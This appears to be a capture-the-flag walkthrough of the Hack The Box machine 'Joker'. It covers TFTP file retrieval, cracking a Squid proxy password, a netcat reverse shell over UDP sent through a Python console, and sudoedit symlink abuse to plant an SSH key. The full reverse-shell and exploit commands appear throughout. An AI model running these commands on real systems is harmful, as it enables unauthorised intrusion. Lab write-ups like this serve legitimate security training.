Our initial nMap scan shows that port 22 is open along with port 3128. The latter shows us Squid Proxy 3.5.12 is running on the target.
Let’s setup Foxy Proxy to direct through Squid in the event we need it:
When I navigated to 127.0.0.1 Firefox just spun its wheels, so let’s bring up the Proxy settings within Firefox and re-configure it:
Make sure you disable FoxyProxy and then navigate to 127.0.0.1 again:
And that didn’t work for me either. So, being at a dead end, let’s do a UDP scan of the box: nmap -sU –top-port 200 10.10.10.21
It looks like port 69 is running TFTP, so let’s see if we can connect to it: tftp 10.10.10.21
Once we’re logged in there isn’t a whole lot we can do. TFTP will let you download files, but you need to know what you’re looking for since you can’t exactly browse the directory:
A quick Google search indicates that the squid.conf files is in /etc/squid, so let’s try to get it:
If we cat the file, we can see there’s a lot going on in it, including a lot of #’s which indicate comments. Let’s see if we can grep all of that out: cat squid.conf | grep -v ‘#’ | grep .
It looks like passwords may be stored in /etc/squid/passwords. Let’s see if we can get that bad boy too and take a look at it: get /etc/squid/passwords
Since this file has only one password in it and it looks like it’s ready for John The Ripper, let’s run it: john passwords -wordlist=/usr/share/wordlists/rockyou.txt
Now that we have a username and a password let’s update FoxyProxy and then navigate to 127.0.0.1
Well, at least something came up this time. Since we now have our proxy working properly, let’s do a little HTTP enumeration with Nikto: nikto -host 127.0.0.1 -useproxy http://10.10.10.21:3128 and then enter the username and password you got earlier when prompted for the Proxy ID:
After a while Nikto finished, but didn’t have anything helpful, so I tried Gobuster: gobuster dir -u http://127.0.0.1 -p http://kalamari:ihateseafood@10.10.10.21:3128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40
We can see pretty quickly that /console is a valid directory, so let’s go there: 127.0.0.1/console
We can run a couple of commands to see what we’re working with on this box. One thing we want to determine is if NetCat is present, and if so, what options does it support:
So the version of NetCat on this box does not support the -e flag, so we’ll have to use another shell from the Reverse Shell Cheat Sheet from PenTest monkey: os.popen(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 1234 >/tmp/f &”).read()
And I sent it, and now my process is hanging. So I should have added an & to the end of my command. Time to reboot the box and try again: os.popen(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 1234 >/tmp/f &”).read()
After sending it again, no connection. So let’s troubleshoot this and see if we can get pings to get through. To do that, we’ll start by using TCP dump to see what our machine is receiving: tcpdump -i tun0 icmp
Then, from our Interactive console, let’s ping our Kali box: os.popen(“ping -c 4 10.10.14.16 &”).read()
The interactive console said that the pings went through, but I didn’t see anything on my end. So let’s see if we can look at the firewall rules on the box through this interactive console: with open(‘/etc/iptables/rules.v4’, ‘r’) as f: print(f.read())
We can see based on the screen shot that the firewall is accepting UDP requests, and not TCP for anything other than port 22 and 3128. So our shell needs to be UDP.
We need to first modify our NetCat listener to listen for UDP, so we’ll do nc -u -lvp 1234
Then, we’ll update our previous NetCat connection with -u for UDP: os.popen(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.10.14.16 1234 >/tmp/f &”).read()
And we get a shell!
Priv Esc
With any shell, one of the first things we want to check is sudo -l
I checked https://gtfobins.github.io/ to see if sudoedit was there, it wasn’t. So I did some Googling and came across this: https://www.exploit-db.com/exploits/37710
The important pieces above are the */*/ wildcards in the directory and then the reference to the symbolic link. What’s a symbolic link? Good question: It’s simply a reference to another file.
Now, they patched this vulnerability in Sudo 1.8.14 but then later added a flag called sudoedit_follow to allow user’s to still do stuff. Here’s the info from https://www.sudo.ws/man/sudoers.man.html
So what we need to do is create a directory somewhere in /var/www/ that after two more directories has layout.html. And what we can do is create a symbolic link to that file and write things to the unintended file. Let’s do this step by step by checking our pwd:
So we’re now in /var/www/testing/zoph and the /testing/zoph make up the /*/* wildcard directories. From here we’ll create a symbolic link to the file we want to modify, in this case the user’s, alekos, authroized_keys file: ln -s /home/alekos/.ssh/authorized_keys layout.html
Now, we can edit the file with sudoedit -u alekos /var/www/testing/zoph/layout.html and paste our public key in there. But that takes nano, so we need to get a decent shell: python -c ‘import pty; pty.spawn(“/bin/bash”)’
Once we have that shell we can then open up our file with sudoedit: sudoedit -u alekos /var/www/testing/zoph/layout.html
Now, from our Kali box, let’s create a key with ssh-keygen
Grab the contents of ssh_key.pub and save it in your layout.html
Now…I was having some issues saving my shell. It kept closing on me when I was trying to exit out of Nano. I followed these steps and I was good to go and was able to execute a Ctrl + X to exit out of Nano without killing my shell.
Now we can connect from our Kali box via SSH to our target machine with our new key: ssh alekos@10.10.10.21 -i ~/Documents/HTB/Joker/ssh_key
